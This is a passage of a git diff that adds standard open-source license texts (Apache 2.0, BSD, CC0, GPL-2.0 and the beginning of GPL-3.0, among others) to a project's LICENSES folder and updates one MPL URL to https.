       2.0. If a copy of the MPL was not
       distributed with this file, You can
       obtain one at
-      http://mozilla.org/MPL/2.0/.
+      https://mozilla.org/MPL/2.0/.
 
 If it is not possible or desirable to put the notice in a particular file,
 then You may include the notice in a location (such as a LICENSE file in a
diff --git a/LICENSES/Apache-2.0.txt b/LICENSES/Apache-2.0.txt
new file mode 100644
index 0000000000..137069b823
--- /dev/null
+++ b/LICENSES/Apache-2.0.txt
@@ -0,0 +1,73 @@
+Apache License
+Version 2.0, January 2004
+http://www.apache.org/licenses/
+
+TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+1. Definitions.
+
+"License" shall mean the terms and conditions for use, reproduction, and distribution as defined by Sections 1 through 9 of this document.
+
+"Licensor" shall mean the copyright owner or entity authorized by the copyright owner that is granting the License.
+
+"Legal Entity" shall mean the union of the acting entity and all other entities that control, are controlled by, or are under common control with that entity. For the purposes of this definition, "control" means (i) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (ii) ownership of fifty percent (50%) or more of the outstanding shares, or (iii) beneficial ownership of such entity.
+
+"You" (or "Your") shall mean an individual or Legal Entity exercising permissions granted by this License.
+
+"Source" form shall mean the preferred form for making modifications, including but not limited to software source code, documentation source, and configuration files.
+
+"Object" form shall mean any form resulting from mechanical transformation or translation of a Source form, including but not limited to compiled object code, generated documentation, and conversions to other media types.
+
+"Work" shall mean the work of authorship, whether in Source or Object form, made available under the License, as indicated by a copyright notice that is included in or attached to the work (an example is provided in the Appendix below).
+
+"Derivative Works" shall mean any work, whether in Source or Object form, that is based on (or derived from) the Work and for which the editorial revisions, annotations, elaborations, or other modifications represent, as a whole, an original work of authorship. For the purposes of this License, Derivative Works shall not include works that remain separable from, or merely link (or bind by name) to the interfaces of, the Work and Derivative Works thereof.
+
+"Contribution" shall mean any work of authorship, including the original version of the Work and any modifications or additions to that Work or Derivative Works thereof, that is intentionally submitted to Licensor for inclusion in the Work by the copyright owner or by an individual or Legal Entity authorized to submit on behalf of the copyright owner. For the purposes of this definition, "submitted" means any form of electronic, verbal, or written communication sent to the Licensor or its representatives, including but not limited to communication on electronic mailing lists, source code control systems, and issue tracking systems that are managed by, or on behalf of, the Licensor for the purpose of discussing and improving the Work, but excluding communication that is conspicuously marked or otherwise designated in writing by the copyright owner as "Not a Contribution."
+
+"Contributor" shall mean Licensor and any individual or Legal Entity on behalf of whom a Contribution has been received by Licensor and subsequently incorporated within the Work.
+
+2. Grant of Copyright License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to reproduce, prepare Derivative Works of, publicly display, publicly perform, sublicense, and distribute the Work and such Derivative Works in Source or Object form.
+
+3. Grant of Patent License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable (except as stated in this section) patent license to make, have made, use, offer to sell, sell, import, and otherwise transfer the Work, where such license applies only to those patent claims licensable by such Contributor that are necessarily infringed by their Contribution(s) alone or by combination of their Contribution(s) with the Work to which such Contribution(s) was submitted. If You institute patent litigation against any entity (including a cross-claim or counterclaim in a lawsuit) alleging that the Work or a Contribution incorporated within the Work constitutes direct or contributory patent infringement, then any patent licenses granted to You under this License for that Work shall terminate as of the date such litigation is filed.
+
+4. Redistribution. You may reproduce and distribute copies of the Work or Derivative Works thereof in any medium, with or without modifications, and in Source or Object form, provided that You meet the following conditions:
+
+     (a) You must give any other recipients of the Work or Derivative Works a copy of this License; and
+
+     (b) You must cause any modified files to carry prominent notices stating that You changed the files; and
+
+     (c) You must retain, in the Source form of any Derivative Works that You distribute, all copyright, patent, trademark, and attribution notices from the Source form of the Work, excluding those notices that do not pertain to any part of the Derivative Works; and
+
+     (d) If the Work includes a "NOTICE" text file as part of its distribution, then any Derivative Works that You distribute must include a readable copy of the attribution notices contained within such NOTICE file, excluding those notices that do not pertain to any part of the Derivative Works, in at least one of the following places: within a NOTICE text file distributed as part of the Derivative Works; within the Source form or documentation, if provided along with the Derivative Works; or, within a display generated by the Derivative Works, if and wherever such third-party notices normally appear. The contents of the NOTICE file are for informational purposes only and do not modify the License. You may add Your own attribution notices within Derivative Works that You distribute, alongside or as an addendum to the NOTICE text from the Work, provided that such additional attribution notices cannot be construed as modifying the License.
+
+     You may add Your own copyright statement to Your modifications and may provide additional or different license terms and conditions for use, reproduction, or distribution of Your modifications, or for any such Derivative Works as a whole, provided Your use, reproduction, and distribution of the Work otherwise complies with the conditions stated in this License.
+
+5. Submission of Contributions. Unless You explicitly state otherwise, any Contribution intentionally submitted for inclusion in the Work by You to the Licensor shall be under the terms and conditions of this License, without any additional terms or conditions. Notwithstanding the above, nothing herein shall supersede or modify the terms of any separate license agreement you may have executed with Licensor regarding such Contributions.
+
+6. Trademarks. This License does not grant permission to use the trade names, trademarks, service marks, or product names of the Licensor, except as required for reasonable and customary use in describing the origin of the Work and reproducing the content of the NOTICE file.
+
+7. Disclaimer of Warranty. Unless required by applicable law or agreed to in writing, Licensor provides the Work (and each Contributor provides its Contributions) on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied, including, without limitation, any warranties or conditions of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A PARTICULAR PURPOSE. You are solely responsible for determining the appropriateness of using or redistributing the Work and assume any risks associated with Your exercise of permissions under this License.
+
+8. Limitation of Liability. In no event and under no legal theory, whether in tort (including negligence), contract, or otherwise, unless required by applicable law (such as deliberate and grossly negligent acts) or agreed to in writing, shall any Contributor be liable to You for damages, including any direct, indirect, special, incidental, or consequential damages of any character arising as a result of this License or out of the use or inability to use the Work (including but not limited to damages for loss of goodwill, work stoppage, computer failure or malfunction, or any and all other commercial damages or losses), even if such Contributor has been advised of the possibility of such damages.
+
+9. Accepting Warranty or Additional Liability. While redistributing the Work or Derivative Works thereof, You may choose to offer, and charge a fee for, acceptance of support, warranty, indemnity, or other liability obligations and/or rights consistent with this License. However, in accepting such obligations, You may act only on Your own behalf and on Your sole responsibility, not on behalf of any other Contributor, and only if You agree to indemnify, defend, and hold each Contributor harmless for any liability incurred by, or claims asserted against, such Contributor by reason of your accepting any such warranty or additional liability.
+
+END OF TERMS AND CONDITIONS
+
+APPENDIX: How to apply the Apache License to your work.
+
+To apply the Apache License to your work, attach the following boilerplate notice, with the fields enclosed by brackets "[]" replaced with your own identifying information. (Don't include the brackets!)  The text should be enclosed in the appropriate comment syntax for the file format. We also recommend that a file or class name and description of purpose be included on the same "printed page" as the copyright notice for easier identification within third-party archives.
+
+Copyright [yyyy] [name of copyright owner]
+
+Licensed under the Apache License, Version 2.0 (the "License");
+you may not use this file except in compliance with the License.
+You may obtain a copy of the License at
+
+http://www.apache.org/licenses/LICENSE-2.0
+
+Unless required by applicable law or agreed to in writing, software
+distributed under the License is distributed on an "AS IS" BASIS,
+WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+See the License for the specific language governing permissions and
+limitations under the License.
diff --git a/LICENSES/Autoconf-exception-3.0.txt b/LICENSES/Autoconf-exception-3.0.txt
new file mode 100644
index 0000000000..f212f9c7bc
--- /dev/null
+++ b/LICENSES/Autoconf-exception-3.0.txt
@@ -0,0 +1,26 @@
+AUTOCONF CONFIGURE SCRIPT EXCEPTION
+
+Version 3.0, 18 August 2009
+Copyright Š 2009 Free Software Foundation, Inc. <http://fsf.org/>
+
+Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.
+
+This Exception is an additional permission under section 7 of the GNU General Public License, version 3 ("GPLv3"). It applies to a given file that bears a notice placed by the copyright holder of the file stating that the file is governed by GPLv3 along with this Exception.
+
+The purpose of this Exception is to allow distribution of Autoconf's typical output under terms of the recipient's choice (including proprietary).
+
+0. Definitions.
+
+"Covered Code" is the source or object code of a version of Autoconf that is a covered work under this License.
+
+"Normally Copied Code" for a version of Autoconf means all parts of its Covered Code which that version can copy from its code (i.e., not from its input file) into its minimally verbose, non-debugging and non-tracing output.
+
+"Ineligible Code" is Covered Code that is not Normally Copied Code.
+
+1. Grant of Additional Permission.
+
+You have permission to propagate output of Autoconf, even if such propagation would otherwise violate the terms of GPLv3. However, if by modifying Autoconf you cause any Ineligible Code of the version you received to become Normally Copied Code of your modified version, then you void this Exception for the resulting covered work. If you convey that resulting covered work, you must remove this Exception in accordance with the second paragraph of Section 7 of GPLv3.
+
+2. No Weakening of Autoconf Copyleft.
+
+The availability of this Exception does not imply any general presumption that third-party software is unaffected by the copyleft requirements of the license of Autoconf.
diff --git a/LICENSES/BSD-2-Clause.txt b/LICENSES/BSD-2-Clause.txt
new file mode 100644
index 0000000000..b0e20f5382
--- /dev/null
+++ b/LICENSES/BSD-2-Clause.txt
@@ -0,0 +1,9 @@
+Copyright (c) <year> <owner> All rights reserved.
+
+Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+
+2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/LICENSES/BSD-3-Clause.txt b/LICENSES/BSD-3-Clause.txt
new file mode 100644
index 0000000000..6c9eef8d8c
--- /dev/null
+++ b/LICENSES/BSD-3-Clause.txt
@@ -0,0 +1,11 @@
+Copyright (c) <year> <owner>. All rights reserved.
+
+Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+
+2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+
+3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/LICENSES/CC0-1.0.txt b/LICENSES/CC0-1.0.txt
new file mode 100644
index 0000000000..0e259d42c9
--- /dev/null
+++ b/LICENSES/CC0-1.0.txt
@@ -0,0 +1,121 @@
+Creative Commons Legal Code
+
+CC0 1.0 Universal
+
+    CREATIVE COMMONS CORPORATION IS NOT A LAW FIRM AND DOES NOT PROVIDE
+    LEGAL SERVICES. DISTRIBUTION OF THIS DOCUMENT DOES NOT CREATE AN
+    ATTORNEY-CLIENT RELATIONSHIP. CREATIVE COMMONS PROVIDES THIS
+    INFORMATION ON AN "AS-IS" BASIS. CREATIVE COMMONS MAKES NO WARRANTIES
+    REGARDING THE USE OF THIS DOCUMENT OR THE INFORMATION OR WORKS
+    PROVIDED HEREUNDER, AND DISCLAIMS LIABILITY FOR DAMAGES RESULTING FROM
+    THE USE OF THIS DOCUMENT OR THE INFORMATION OR WORKS PROVIDED
+    HEREUNDER.
+
+Statement of Purpose
+
+The laws of most jurisdictions throughout the world automatically confer
+exclusive Copyright and Related Rights (defined below) upon the creator
+and subsequent owner(s) (each and all, an "owner") of an original work of
+authorship and/or a database (each, a "Work").
+
+Certain owners wish to permanently relinquish those rights to a Work for
+the purpose of contributing to a commons of creative, cultural and
+scientific works ("Commons") that the public can reliably and without fear
+of later claims of infringement build upon, modify, incorporate in other
+works, reuse and redistribute as freely as possible in any form whatsoever
+and for any purposes, including without limitation commercial purposes.
+These owners may contribute to the Commons to promote the ideal of a free
+culture and the further production of creative, cultural and scientific
+works, or to gain reputation or greater distribution for their Work in
+part through the use and efforts of others.
+
+For these and/or other purposes and motivations, and without any
+expectation of additional consideration or compensation, the person
+associating CC0 with a Work (the "Affirmer"), to the extent that he or she
+is an owner of Copyright and Related Rights in the Work, voluntarily
+elects to apply CC0 to the Work and publicly distribute the Work under its
+terms, with knowledge of his or her Copyright and Related Rights in the
+Work and the meaning and intended legal effect of CC0 on those rights.
+
+1. Copyright and Related Rights. A Work made available under CC0 may be
+protected by copyright and related or neighboring rights ("Copyright and
+Related Rights"). Copyright and Related Rights include, but are not
+limited to, the following:
+
+  i. the right to reproduce, adapt, distribute, perform, display,
+     communicate, and translate a Work;
+ ii. moral rights retained by the original author(s) and/or performer(s);
+iii. publicity and privacy rights pertaining to a person's image or
+     likeness depicted in a Work;
+ iv. rights protecting against unfair competition in regards to a Work,
+     subject to the limitations in paragraph 4(a), below;
+  v. rights protecting the extraction, dissemination, use and reuse of data
+     in a Work;
+ vi. database rights (such as those arising under Directive 96/9/EC of the
+     European Parliament and of the Council of 11 March 1996 on the legal
+     protection of databases, and under any national implementation
+     thereof, including any amended or successor version of such
+     directive); and
+vii. other similar, equivalent or corresponding rights throughout the
+     world based on applicable law or treaty, and any national
+     implementations thereof.
+
+2. Waiver. To the greatest extent permitted by, but not in contravention
+of, applicable law, Affirmer hereby overtly, fully, permanently,
+irrevocably and unconditionally waives, abandons, and surrenders all of
+Affirmer's Copyright and Related Rights and associated claims and causes
+of action, whether now known or unknown (including existing as well as
+future claims and causes of action), in the Work (i) in all territories
+worldwide, (ii) for the maximum duration provided by applicable law or
+treaty (including future time extensions), (iii) in any current or future
+medium and for any number of copies, and (iv) for any purpose whatsoever,
+including without limitation commercial, advertising or promotional
+purposes (the "Waiver"). Affirmer makes the Waiver for the benefit of each
+member of the public at large and to the detriment of Affirmer's heirs and
+successors, fully intending that such Waiver shall not be subject to
+revocation, rescission, cancellation, termination, or any other legal or
+equitable action to disrupt the quiet enjoyment of the Work by the public
+as contemplated by Affirmer's express Statement of Purpose.
+
+3. Public License Fallback. Should any part of the Waiver for any reason
+be judged legally invalid or ineffective under applicable law, then the
+Waiver shall be preserved to the maximum extent permitted taking into
+account Affirmer's express Statement of Purpose. In addition, to the
+extent the Waiver is so judged Affirmer hereby grants to each affected
+person a royalty-free, non transferable, non sublicensable, non exclusive,
+irrevocable and unconditional license to exercise Affirmer's Copyright and
+Related Rights in the Work (i) in all territories worldwide, (ii) for the
+maximum duration provided by applicable law or treaty (including future
+time extensions), (iii) in any current or future medium and for any number
+of copies, and (iv) for any purpose whatsoever, including without
+limitation commercial, advertising or promotional purposes (the
+"License"). The License shall be deemed effective as of the date CC0 was
+applied by Affirmer to the Work. Should any part of the License for any
+reason be judged legally invalid or ineffective under applicable law, such
+partial invalidity or ineffectiveness shall not invalidate the remainder
+of the License, and in such case Affirmer hereby affirms that he or she
+will not (i) exercise any of his or her remaining Copyright and Related
+Rights in the Work or (ii) assert any associated claims and causes of
+action with respect to the Work, in either case contrary to Affirmer's
+express Statement of Purpose.
+
+4. Limitations and Disclaimers.
+
+ a. No trademark or patent rights held by Affirmer are waived, abandoned,
+    surrendered, licensed or otherwise affected by this document.
+ b. Affirmer offers the Work as-is and makes no representations or
+    warranties of any kind concerning the Work, express, implied,
+    statutory or otherwise, including without limitation warranties of
+    title, merchantability, fitness for a particular purpose, non
+    infringement, or the absence of latent or other defects, accuracy, or
+    the present or absence of errors, whether or not discoverable, all to
+    the greatest extent permissible under applicable law.
+ c. Affirmer disclaims responsibility for clearing rights of other persons
+    that may apply to the Work or any use thereof, including without
+    limitation any person's Copyright and Related Rights in the Work.
+    Further, Affirmer disclaims responsibility for obtaining any necessary
+    consents, permissions or other rights required for any use of the
+    Work.
+ d. Affirmer understands and acknowledges that Creative Commons is not a
+    party to this document and has no duty or obligation with respect to
+    this CC0 or use of the Work.
diff --git a/LICENSES/FSFAP.txt b/LICENSES/FSFAP.txt
new file mode 100644
index 0000000000..32bc8a8898
--- /dev/null
+++ b/LICENSES/FSFAP.txt
@@ -0,0 +1 @@
+Copying and distribution of this file, with or without modification, are permitted in any medium without royalty provided the copyright notice and this notice are preserved.  This file is offered as-is, without any warranty.
diff --git a/LICENSES/GPL-2.0-or-later.txt b/LICENSES/GPL-2.0-or-later.txt
new file mode 100644
index 0000000000..17cb286430
--- /dev/null
+++ b/LICENSES/GPL-2.0-or-later.txt
@@ -0,0 +1,117 @@
+GNU GENERAL PUBLIC LICENSE
+Version 2, June 1991
+
+Copyright (C) 1989, 1991 Free Software Foundation, Inc.
+51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA
+
+Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.
+
+Preamble
+
+The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Lesser General Public License instead.) You can apply it to your programs, too.
+
+When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things.
+
+To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it.
+
+For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights.
+
+We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software.
+
+Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations.
+
+Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all.
+
+The precise terms and conditions for copying, distribution and modification follow.
+
+TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
+
+0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you".
+
+Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does.
+
+1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program.
+
+You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee.
+
+2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions:
+
+     a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change.
+
+     b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License.
+
+     c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.)
+
+These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it.
+
+Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program.
+
+In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License.
+
+3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following:
+
+     a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or,
+
+     b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or,
+
+     c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.)
+
+The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable.
+
+If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code.
+
+4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.
+
+5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it.
+
+6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License.
+
+7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program.
+
+If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances.
+
+It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice.
+
+This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License.
+
+8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License.
+
+9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns.
+
+Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation.
+
+10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally.
+
+NO WARRANTY
+
+11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+
+END OF TERMS AND CONDITIONS
+
+How to Apply These Terms to Your New Programs
+
+If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms.
+
+To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found.
+
+     one line to give the program's name and an idea of what it does. Copyright (C) yyyy name of author
+
+     This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version.
+
+     This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
+
+     You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Also add information on how to contact you by electronic and paper mail.
+
+If the program is interactive, make it output a short notice like this when it starts in an interactive mode:
+
+     Gnomovision version 69, Copyright (C) year name of author Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details.
+
+The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, the commands you use may be called something other than `show w' and `show c'; they could even be mouse-clicks or menu items--whatever suits your program.
+
+You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the program, if necessary. Here is a sample; alter the names:
+
+     Yoyodyne, Inc., hereby disclaims all copyright interest in the program `Gnomovision' (which makes passes at compilers) written by James Hacker.
+
+signature of Ty Coon, 1 April 1989 Ty Coon, President of Vice
diff --git a/LICENSES/GPL-3.0-or-later.txt b/LICENSES/GPL-3.0-or-later.txt
new file mode 100644
index 0000000000..d41c0bd98f
--- /dev/null
+++ b/LICENSES/GPL-3.0-or-later.txt
@@ -0,0 +1,232 @@
+GNU GENERAL PUBLIC LICENSE
+Version 3, 29 June 2007
+
+Copyright Š 2007 Free Software Foundation, Inc. <http://fsf.org/>
+
+Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.
+
+Preamble
+
+The GNU General Public License is a free, copyleft license for software and other kinds of works.
+
+The licenses for most software and other practical works are designed to take away your freedom to share and change the works. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change all versions of a program--to make sure it remains free software for all its users. We, the Free Software Foundation, use the GNU General Public License for most of our software; it applies also to any other work released this way by its authors. You can apply it to your programs, too.
+
